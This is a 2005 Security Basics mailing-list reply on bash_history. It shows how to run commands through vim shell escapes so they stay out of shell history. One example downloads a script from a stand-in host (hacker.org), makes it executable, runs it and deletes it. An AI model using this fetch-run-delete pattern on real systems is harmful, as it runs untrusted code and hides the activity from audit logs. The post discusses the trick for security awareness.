Security Basics mailing list archives

Re: bash_history


From: Igor Plisco <plisco () ashmanov com>
Date: Thu, 14 Apr 2005 18:49:40 +0400

Ones upon a time Alejandro Flores shaped electrons to tell:

There are many other ways to hide shell commands. Consider following simple vim examples:

$ vim
:! some_bad_command

or such:

$ vim
<some typing>
:w bad.sh
:!chmod +x %
:r !./%
:! rm %

or even such:

$ vim
:e http://hacker.org/bad_script.sh
:w bad.sh
:!chmod +x %
:r !./%
:! rm %

Igor Plisco

---------------------------------------------------------------------------
Earn your MS in Information Security ONLINE
Organizations worldwide are in need of highly qualified information security professionals. Norwich University is fulfilling this demand with its MS in Information Security offered online. Recognized by the NSA as an academically excellent program, NU offers you the opportunity to earn your degree without disrupting your home or work life.

http://www.msia.norwich.edu/secfocus_en
----------------------------------------------------------------------------


Current thread: